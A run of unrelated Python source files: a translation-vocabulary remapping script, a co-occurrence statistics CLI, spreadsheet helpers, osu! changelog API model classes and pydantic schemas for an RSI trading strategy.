with open(args.src_w2i,'rb') as f:
    src_w2i = cPickle.load(f)
with open(args.trg_w2i,'rb') as f:
    trg_w2i = cPickle.load(f)
with open(args.top_unigram,'rb') as f:
    top_unigram = cPickle.load(f)

new_dict = {}

for old_key in top_unigram:
    if old_key == '<eps>': # Don't consider the empty string
        continue
    new_key = src_w2i[old_key] # Convert source word to its index
    if new_key >= args.vocab_size:
        continue
    old_value = top_unigram[old_key] # This is a list of words (with the most probable one first)
    new_value = [trg_w2i[elt] for elt in old_value if (trg_w2i[elt] < args.vocab_size)]
    if len(new_value) >= 1:
        new_dict[new_key] = new_value

with open(args.output,'wb') as f:
    cPickle.dump(new_dict, f, -1)


import argparse

from lib.features.user_history_cooc_features import create_cooc_stats_by_chunks
from lib.utils import read_data

parser = argparse.ArgumentParser()
parser.add_argument('--data')
parser.add_argument('--popularity_last_items', type=int)
parser.add_argument('--min_rank_diff', type=int)
parser.add_argument('--max_rank_diff', type=int)
parser.add_argument('--items_per_item', type=int)
parser.add_argument('--out')

if __name__ == '__main__':
    args = parser.parse_args()
    data = read_data(args.data)
    cooc_stats = create_cooc_stats_by_chunks(
        data,
        popularity_last_items=args.popularity_last_items,
        min_rank_diff=args.min_rank_diff or -args.max_rank_diff,
        max_rank_diff=args.max_rank_diff,
        items_per_item=args.items_per_item
    )
    cooc_stats.to_parquet(args.out)


import xlsxwriter
import openpyxl

def createSheet(name, data):
    workbook = xlsxwriter.Workbook(name)
    worksheet = workbook.add_worksheet()
    cols = 0
    for i in data.keys():
        worksheet.write(0, cols, i[0].upper() + i[1:].replace('_',' ').lower())
        cols += 1
    try:
        workbook.close()
        return True
    except:
        print("Couldn't create xlsx file")

def appendSheet(sheetName, data, row=None):
    wb = openpyxl.load_workbook(sheetName)
    sheetList = wb.get_sheet_names()
    sheet = wb.get_sheet_by_name(sheetList[0])
    temp = sheet.max_row
    cols = 1
    for i in data:
        cell = sheet.cell(row=temp+1, column=cols)
        cell.value = data[i]
        cols += 1
    temp += 1
    wb.save(sheetName)


from dateutil import parser
from typing import Optional, List, TYPE_CHECKING

from ..util import prettify, get_optional, get_optional_list

if TYPE_CHECKING:
    from datetime import datetime

class Build:
    """
    **Attributes**

    created_at: :class:`datetime.datetime`

    display_version: :class:`str`

    id: :class:`int`

    update_stream: Optional[:class:`UpdateStream`]

    users: :class:`int`

    version Optional[:class:`str`]

    changelog_entries: Optional[List[:class:`ChangelogEntry`]]
        If the build has no changelog entries, a placeholder is generated.

    versions: Optional[:class:`Versions`]
    """

    __slots__ = (
        "created_at",
        "display_version",
        "id",
        "update_stream",
        "users",
        "version",
        "changelog_entries",
        "versions",
    )

    def __init__(self, data):
        self.created_at: datetime = parser.parse(data["created_at"])
        self.display_version: str = data["display_version"]
        self.id: int = data["id"]
        self.update_stream: Optional[UpdateStream] = get_optional(data, "update_stream", UpdateStream)
        self.users: int = data["users"]
        self.version: Optional[str] = data["version"]
        self.changelog_entries: Optional[List[ChangelogEntry]] = get_optional_list(
            data, "changelog_entries", ChangelogEntry
        )
        self.versions: Optional[Versions] = get_optional(data, "versions", Versions)

    def __repr__(self):
        return prettify(self, "id", "version")

class Versions:
    """
    **Optional Attributes**

    next: Optional[:class:`Build`]
        May be null if there is not a next build.

    previous: Optional[:class:`Build`]
        May be null if there is not a previous build.
    """

    __slots__ = ("next", "previous")

    def __init__(self, data):
        self.next: Optional[Build] = get_optional(data, "next", Build)
        self.previous: Optional[Build] = get_optional(data, "previous", Build)

    def __repr__(self):
        fields = [getattr(self, slot) for slot in self.__slots__ if getattr(self, slot, None)]
        return prettify(self, *fields)

class UpdateStream:
    """
    **Attributes**

    display_name: Optional[:class:`str`]

    id: :class:`int`

    is_featured: :class:`bool`

    name: :class:`str`

    latest_build: Optional[:class:`Build`]

    user_count: Optional[:class:`int`]
    """

    __slots__ = (
        "display_name",
        "id",
        "is_featured",
        "name",
        "latest_build",
        "user_count",
    )

    def __init__(self, data):
        self.display_name: Optional[str] = data["display_name"]
        self.id: int = data["id"]
        self.is_featured: bool = data["is_featured"]
        self.name: str = data["name"]
        self.latest_build: Optional[Build] = get_optional(data, "latest_build", Build)
        self.user_count: Optional[int] = data.get("user_count")

    def __repr__(self):
        return prettify(self, "name")

class ChangelogEntry:
    """
    **Attributes**

    category: :class:`str`

    created_at: Optional[:class:`datetime.datetime`]

    github_pull_request_id: Optional[:class:`int`]

    github_url: Optional[:class:`str`]

    id: Optional[:class:`int`]

    major: :class:`bool`

    repository: Optional[:class:`str`]

    title: Optional[:class:`str`]

    type: :class:`str`

    url: Optional[:class:`str`]

    github_user: Optional[:class:`GithubUser`]
        If the changelog entry has no GitHub user, a placeholder is generated.

    message: Optional[:class:`str`]
        Entry message in Markdown format. Embedded HTML is allowed.

    message_html: Optional[:class:`str`]
        Entry message in HTML format.
    """

    __slots__ = (
        "category",
        "created_at",
        "github_pull_request_id",
        "github_url",
        "id",
        "major",
        "repository",
        "title",
        "type",
        "url",
        "github_user",
        "message",
        "message_html",
    )

    def __init__(self, data):
        self.category: str = data["category"]
        self.created_at: Optional[datetime] = get_optional(data, "created_at", parser.parse)
        self.github_pull_request_id: Optional[int] = data["github_pull_request_id"]
        self.github_url: Optional[str] = data["github_url"]
        self.id: Optional[int] = data["id"]
        self.major: bool = data["major"]
        self.repository: Optional[str] = data["repository"]
        self.title: Optional[str] = data["title"]
        self.type: str = data["type"]
        self.url: Optional[str] = data["url"]

        self.github_user: Optional[GithubUser] = get_optional(data, "github_user", GithubUser)
        self.message: Optional[str] = data.get("message")
        self.message_html: Optional[str] = data.get("message_html")

    def __repr__(self):
        return prettify(self, "title", "major", "created_at")

class GithubUser:
    """
    **Attributes**

    display_name: :class:`str`

    github_url: Optional[:class:`str`]

    id: Optional[:class:`int`]

    osu_username: Optional[:class:`str`]

    user_id: Optional[:class:`int`]

    user_url: Optional[:class:`str`]
    """

    __slots__ = (
        "display_name",
        "github_url",
        "id",
        "osu_username",
        "user_id",
        "user_url",
    )

    def __init__(self, data):
        self.display_name: str = data["display_name"]
        self.github_url: Optional[str] = data["github_url"]
        self.id: Optional[int] = data["id"]
        self.osu_username: Optional[str] = data["osu_username"]
        self.user_id: Optional[int] = data["user_id"]
        self.user_url: Optional[str] = data["user_url"]

    def __repr__(self):
        return prettify(self, "display_name")


"""Strategy schemas module"""
# Built-In
from typing import Dict, List

# Third-Party
from pydantic import BaseModel, Field

# App
from app.models import SideEnum, ChartPeriodSecEnum

class CandleValue(BaseModel):
    """Candle Value schema"""

    type_: str = Field("select", title="Type Input")
    name: str = Field("OHLCV Value", title="Name of the Candle Value")
    options: List = Field(["open", "high", "low", "close", "volume"], title="Options")
    default: str = Field("close", title="Default")

class Period(BaseModel):
    """Period schema"""

    type_: str = Field("number", title="Type Input")
    step: int = Field(1, title="Step")
    min_: int = Field(1, title="Min")
    max_: int = Field(500, title="Max")
    name: str = Field("RSI Period", title="Name Period")
    default: int = Field(14, title="Default")
    value: int = Field(14, title="Value")

class SignalWhen(BaseModel):
    """Signal When schema"""

    type_: str = Field("value", title="Type Input")
    signal_when: str = Field(">=", title="Signal When")
    signal_when_value: int = Field(80, title="Signal When Value")
    defaults: Dict = Field(None, title="Defaults")

class ShortPeriod(BaseModel):
    """Short Period schema"""

    type_: str = Field("number", title="Type Input")
    step: int = Field(1, title="Step")
    min_: int = Field(1, title="Min")
    max_: int = Field(500, title="Max")
    name: str = Field("Short Period", title="Name Period")
    default: int = Field(5, title="Default")

class LongPeriod(BaseModel):
    """Long Period schema"""

    type_: str = Field("number", title="Type Input")
    step: int = Field(1, title="Step")
    min_: int = Field(1, title="Min")
    max_: int = Field(500, title="Max")
    name: str = Field("Long Period", title="Name Period")
    default: int = Field(20, title="Default")

class BaseParams(BaseModel):
    """Base Type schema"""

    period: Period = Field(None, title="Period")
    candle_value: CandleValue = Field(None, title="Candle Value")
    signal_when: SignalWhen = Field(None, title="Signal When")
    short_period: ShortPeriod = Field(None, title="Short Period")
    long_period: LongPeriod = Field(None, title="Long Period")

class StrategyData(BaseModel):
    """Strategy data base schema"""

    name: str = Field(None, title="Indicator Name")
    signal_type: SideEnum = Field(
        SideEnum.BUY, title="Signal Type", description="BUY or SELL"
    )
    chartperiod: ChartPeriodSecEnum = Field(
        ChartPeriodSecEnum.FIFTEEN_MIN,
        title="Chart Period",
        description="Chart Period in seconds",
    )
    candle_pattern: bool = Field(False, title="Candle Pattern")
    necessary: bool = Field(True, title="Necessary Signal")
    keep_signal: int = Field(None, title="Keep Signal")
    params: BaseParams = Field(None, title="Indicators parameters")

class StrategyRequest(BaseModel):
    """Strategy request schema"""

    name: str = Field(None, title="Strategy Name")
    description: str = Field(None, title="Strategy Description")
    data: List[StrategyData] = Field(None, title="Strategy Data")

    class Config:
        """Config request schema"""

        schema_extra = {
            "example": {
                "name": "Classic RSI strategy",
                "description": "This is a classic RSI strategy",
                "data": [
                    {
                        "name": "Relative Strength Index (RSI)",
                        "signal_type": "BUY",
                        "chartperiod": "900",
                        "candle_pattern": 0,
                        "necessary": True,
                        "keep_signal": "0",
                        "params": {
                            "candle_value": {
                                "type_": "select",
                                "name": "OHLCV Value",
                                "options": ["open", "close", "high", "low", "volume"],
                                "default": "close",
                            },
                            "period": {
                                "type_": "number",
                                "step": 1,
                                "min_": 1,
                                "max_": 500,
                                "name": "RSI Period",
                                "default": 14,
                                "value": "14",
                            },
                            "signal_when": {
                                "type_": "value",
                                "signal_when": "<=",
                                "signal_when_value": 20,
                                "defaults": {
                                    "buy": {
                                        "signal_when": "<=",
                                        "signal_when_value": 20,
                                    },
                                    "sell": {
                                        "signal_when": ">=",
                                        "signal_when_value": 80,
                                    },
                                },
                            },
                        },
                    }
                ],
            }
        }